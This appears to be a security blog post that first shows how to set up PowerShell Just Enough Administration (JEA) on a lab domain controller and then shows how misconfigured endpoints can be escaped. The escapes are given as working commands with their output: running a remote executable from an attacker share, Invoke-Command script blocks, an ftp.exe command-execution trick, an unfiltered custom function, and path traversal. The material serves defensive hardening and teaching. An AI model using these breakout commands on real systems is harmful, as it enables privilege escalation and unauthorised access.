Just Enough Administration (JEA) allows administrators to restrict which PowerShell cmdlets, functions and commands can be run. Typically, this is used in conjunction with PowerShell Remoting to provide limited access to administrators. JEA runs powershell in NoLanguage Mode by default. This mode has the following restrictions.
- You cannot define functions, classes, or variables.
- You cannot use script blocks, loops (foreach, while), conditionals (if), or other scripting language constructs.
- Only approved cmdlets/functions/aliases are allowed.
JEA Configuration
The following steps can be used to configure JEA.
Create a Group
First, create a group that we will assign the JEA role to, and add a user to the group. A group isn’t required, but makes administration easier.
PS C:\Users\Administrator> New-ADGroup -Name "helpdesk" -GroupScope global
PS C:\Users\Administrator> Add-ADGroupMember -Identity "helpdesk" -Members "alice"
Create a Role Capability File
Next create a role capability file. This file dictates what actions the user will be allowed to perform.
PS C:\Users\Administrator> New-Item -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities' -ItemType Directory
Directory: C:\Program Files\WindowsPowerShell\Modules
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 14/08/2025 16:39 MyJEAModule
PS C:\Users\Administrator> New-Item -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities\HelpDeskRole.psrc' -ItemType File
Directory: C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 14/08/2025 16:39 0 HelpDeskRole.psrc
Add a configuration to specify which actions the user can perform.
@{
VisibleCmdlets = 'Get-Service', 'Restart-Service'
VisibleFunctions = 'MyCustomFunction'
VisibleAliases = 'gs'
VisibleExternalCommands = 'ping.exe'
}
Create a Session Configuration File
Next create a session configuration file to bind the role capability file to our group.
PS C:\Users\Administrator> New-PSSessionConfigurationFile -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -SessionType RestrictedRemoteServer -RunAsVirtualAccount:$true -RoleDefinitions @{ 'bordergate\helpdesk' = @{ RoleCapabilities = 'HelpDeskRole' } }
Register the Session
Register the session configuration.
PS C:\Users\Administrator> Register-PSSessionConfiguration -Name MyJEASession -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -Force
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin
Type Keys Name
---- ---- ----
Container {Name=MyJEASession} MyJEASession
Connect to the Session
Connect to the session specifying the session name (in this case MyJEASession). Without specifying the session name, the user will be denied access to the host.
PS C:\Users\alice.BORDERGATE> Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession -Credential BORDERGATE\alice
[DC01.bordergate.local]: PS>Get-Command
CommandType Name Version Source
----------- ---- ------- ------
Function Clear-Host
Function Exit-PSSession
Function Get-Command
Function Get-FormatData
Function Get-Help
Function Measure-Object
Function Out-Default
Function Select-Object
Cmdlet Get-Service 3.0.0.0 Microsoft.PowerShell.Management
Cmdlet Restart-Service 3.0.0.0 Microsoft.PowerShell.Management
Note, the user is only able to execute a limited number of commands.
Determining Configuration Names
As far as I know, it’s not possible to remotely determine the configuration names available on a system. An adversary would need this information to connect to a remote JEA session.
It stands to reason that if a configuration exists on one host in the environment, it might work on other systems.
There are a couple of ways it might be possible to determine the name. Firstly, if you have local administrator access to a host you can use Get-PSSessionConfiguration cmdlet to show local configurations.
PS C:\Users\Administrator> Get-PSSessionConfiguration
Name : microsoft.powershell
PSVersion : 5.1
StartupScript :
RunAsUser :
Permission : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users
AccessAllowed
Name : microsoft.powershell.workflow
PSVersion : 5.1
StartupScript :
RunAsUser :
Permission : BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed
Name : microsoft.powershell32
PSVersion : 5.1
StartupScript :
RunAsUser :
Permission : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users
AccessAllowed
Name : microsoft.windows.servermanagerworkflows
PSVersion : 3.0
StartupScript :
RunAsUser :
Permission : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed
Name : MyJEASession
PSVersion : 5.1
StartupScript :
RunAsUser :
Permission : BORDERGATE\helpdesk AccessAllowed
You might also be able to read the configuration file on the local system as a standard user.
PS C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities> type .\HelpDeskRole.psrc
@{
VisibleCmdlets = 'Get-Service', 'Restart-Service'
VisibleFunctions = 'MyCustomFunction'
VisibleAliases = 'gs'
VisibleExternalCommands = 'ping.exe'
}
Another way is to review a users PowerShell command history.
PS C:\Users\alice.BORDERGATE> cd $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
PS C:\Users\alice.BORDERGATE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>
PS C:\Users\alice.BORDERGATE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Get-Content .\ConsoleHost_history.txt | Select-String -Pattern "ConfigurationName"
Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession -Credential BORDERGATE\alice
Connecting from Linux
Typically I use evil-winrm to connect to PSRemoting sessions from Linux. Unfortunately, this does not allow you to specify a JEA configuration name. In addition, although it’s possible to install PowerShell on Linux, connections won’t be successful due to the lack of the WSMan client.
┌──(kali㉿kali)-[/home/kali]
└─PS> Enter-PSSession -ComputerName 192.168.1.205 -ConfigurationName MyJEASession -Credential BORDERGATE\alice
PowerShell credential request
Enter your credentials.
Password for user BORDERGATE\alice: *********
Enter-PSSession: This parameter set requires WSMan, and no supported WSMan client library was found. WSMan is either not installed or unavailable for this system.
To connect from a Linux host, you can enable SSH as a transport on the server side – but this does not support custom JEA configuration names. TLDR; you are better off just using Windows to connect to JEA PSRemoting endpoints.
Exploiting Dangerous Commands
The Get-Command cmdlet can be used to determine what functions, commands and applications we can run.
[DC01.bordergate.local]: PS>Get-Command -CommandType Function
CommandType Name Version Source
----------- ---- ------- ------
Function Run-MyCommand 0.0 MyCommand
[DC01.bordergate.local]: PS>Get-Command -CommandType Application
CommandType Name Version Source
----------- ---- ------- ------
Application ftp.exe 10.0.26... C:\WINDOWS\system32\ftp.exe
Application whoami.exe 10.0.26... C:\WINDOWS\system32\whoami.exe
[DC01.bordergate.local]: PS>Get-Command
CommandType Name Version Source
----------- ---- ------- ------
Function Run-MyCommand 0.0 MyCommand
Cmdlet Exit-PSSession 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Get-Command 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Get-FormatData 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Get-Help 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Get-ItemProperty 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Invoke-Command 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Measure-Object 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Out-Default 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Out-File 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Select-Object 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Set-ItemProperty 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Set-Variable 3.1.0.0 Microsoft.PowerShell.Utility
There are a number of cmdlets that may allow for code execution depending on the configuration, including the following.
Invoke-Command
New-ScheduledTask
Start-Process
New-Service
Invoke-Item
Invoke-WMIMethod
Some of these are trivial to exploit. For instance, Start-Process can just be used to run arbitrary executables on a network share.
Start-Process -FilePath '\\kali\share\malware.exe'
In addition to these, general administration commands might allow for elevation of privileges.
Add-ADGroupMember
Add-LocalGroupMember
net.exe
In the next example, we’re going to be looking at exploiting the Invoke-Command cmdlet.
If the SessionType is set to default we are able to execute script blocks.
New-PSSessionConfigurationFile -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -RunAsVirtualAccount:$false -SessionType Default -RoleDefinitions @{ 'bordergate\helpdesk' = @{ RoleCapabilities = 'HelpDeskRole' } }
Register-PSSessionConfiguration -Name MyJEASession -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -Force
In the default SessionType, we will need to explicitly define commands required the basic shell operation.
SessionType | Description | Language Mode | Use Case |
---|---|---|---|
Default | Full PowerShell session | FullLanguage | Full admin access |
RestrictedRemoteServer | Default JEA mode with command restrictions | ConstrainedLanguage | Typical JEA session for role-based use |
Empty | Minimal, stripped-down session | ConstrainedLanguage | Fully custom JEA endpoints |
@{
VisibleCmdlets =
'Invoke-Command',
'Get-Command',
'Measure-Object',
'Select-Object',
'Out-Default',
'Exit-PSSession',
'Get-Command',
'Get-FormatData',
'Get-Help',
'Set-Variable'
VisibleFunctions = 'MyCustomFunction'
VisibleAliases = 'gs'
VisibleExternalCommands = 'ping.exe'
}
Running the following .NET code determines, firstly the session type must be default (since the code runs) and secondly, that RunAsVirtualAccount is disabled since we’re getting a username back.
[DC01.bordergate.local]: P> [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
BORDERGATE\alice
RunAsVirtualAccount determines whether the PowerShell session for incoming connections will be run using a virtual account or not. When set to $true, a temporary, virtual account is created on the fly when a remote user connects to the endpoint, granting limited permissions.
[DC01.bordergate.local]: PS>whoami
winrm virtual users\winrm va_1_bordergate_alice
With these settings in place, we can use the Invoke-Command cmdlet to execute commands that should otherwise be prohibited.
[DC01.bordergate.local]: PS>dir C:\
The term 'dir' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
+ CategoryInfo : ObjectNotFound: (dir:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[DC01.bordergate.local]: PS>Get-Command
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Exit-PSSession 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Get-Command 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Get-FormatData 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Get-Help 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Invoke-Command 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Measure-Object 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Out-Default 3.0.0.0 Microsoft.PowerShell.Core
Cmdlet Select-Object 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Set-Variable 3.1.0.0 Microsoft.PowerShell.Utility
[DC01.bordergate.local]: PS>Invoke-Command -ScriptBlock {dir C:\}
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 08/08/2025 16:25 inetpub
d----- 01/04/2024 08:02 PerfLogs
d-r--- 23/05/2025 09:56 Program Files
d-r--- 01/04/2024 09:15 Program Files (x86)
d-r--- 14/08/2025 16:38 Users
d----- 08/08/2025 16:27 Windows
LOLBAS
Some Windows commands allow for command execution based on arguments passed to the programs. The LOLBAS project tracks binaries that can be used for this purpose. For instance, if the ftp command is allowed we can use that to execute arbitrary commands.
[DC01.bordergate.local]: PS>Get-Command -CommandType Application
CommandType Name Version Source
----------- ---- ------- ------
Application ftp.exe 10.0.26... C:\WINDOWS\system32\ftp.exe
Application whoami.exe 10.0.26... C:\WINDOWS\system32\whoami.exe
[DC01.bordergate.local]: P> "!cmd /c c:\windows\system32\cmd.exe /c dir C:\" | Out-File -Encoding ASCII -FilePath ftpcommands.txt
[DC01.bordergate.local]: PS>ftp -s:ftpcommands.txt
!cmd /c c:\windows\system32\cmd.exe /c dir C:\
Volume in drive C has no label.
Volume Serial Number is CCE4-8243
Directory of C:\
08/08/2025 16:25 <DIR> inetpub
01/04/2024 08:02 <DIR> PerfLogs
23/05/2025 09:56 <DIR> Program Files
01/04/2024 09:15 <DIR> Program Files (x86)
14/08/2025 16:38 <DIR> Users
18/08/2025 11:18 <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 53,571,657,728 bytes free
[DC01.bordergate.local]: PS>
Exploiting Custom Functions
PowerShell commands can be created that allow for custom administration tasks. If these don’t filter user input, they could be used to break out of JEA restrictions. For instance, we create the custom function Run-MyCommand.
function Run-MyCommand {
param (
[string]$ToolPath
)
& $ToolPath
}
Save the function to C:\Program Files\WindowsPowerShell\Modules\MyCommand\MyCommand.psm1.
Allow the JEA configuration (C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities\HelpDeskRole.psrc) to use the function.
@{
ModulesToImport = @('MyCommand')
VisibleFunctions = 'Run-MyCommand'
}
We can exploit the function by supplying an arbitrary executable name to the ToolPath argument.
PS C:\Users\alice.BORDERGATE> Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession
WARNING: The names of some imported commands from the module 'MyCommand' include unapproved verbs that might make them less discoverable. To find the commands with unapproved verbs, run the Import-Module
command again with the Verbose parameter. For a list of approved verbs, type Get-Verb.
[DC01.bordergate.local]: P> Run-MyCommand -ToolPath "C:\Windows\System32\cmd.exe"
Microsoft Windows [Version 10.0.26100.4652]
(c) Microsoft Corporation. All rights reserved.
C:\Users\alice\Documents>
Path Traversal
A JEA profile might be configured to only allow access to certain parts of the file system (such as web server directories).
Function Get-ChildItem-Vulnerable {
param (
[string]$Path
)
$AllowedBaseDir = "C:\inetpub"
if ($Path -like "$AllowedBaseDir*") {
return Get-ChildItem -Path $Path
} else {
Write-Error "Path is outside the allowed directory!"
}
}
We can use classic path traversal to bypass the allowed base directory check.
[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\inetpub\"
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 08/08/2025 16:25 inetpub
d----- 01/04/2024 08:02 PerfLogs
d-r--- 23/05/2025 09:56 Program Files
d-r--- 01/04/2024 09:15 Program Files (x86)
d-r--- 14/08/2025 16:38 Users
d----- 18/08/2025 11:18 Windows
[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\"
Get-ChildItem-Vulnerable : Path is outside the allowed directory!
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Get-ChildItem-Vulnerable
[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\inetpub\..\..\Users\"
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 23/05/2025 09:53 Administrator
d----- 14/08/2025 16:38 alice
d-r--- 23/05/2025 09:53 Public
In Conclusion
Like any whitelisting system, JEA is only as strong as its configuration. If an administrator makes mistakes or oversights when defining what is allowed, it can be possible for an attacker to:
- Bypass restrictions,
- Escalate privileges,
- Or gain full system access.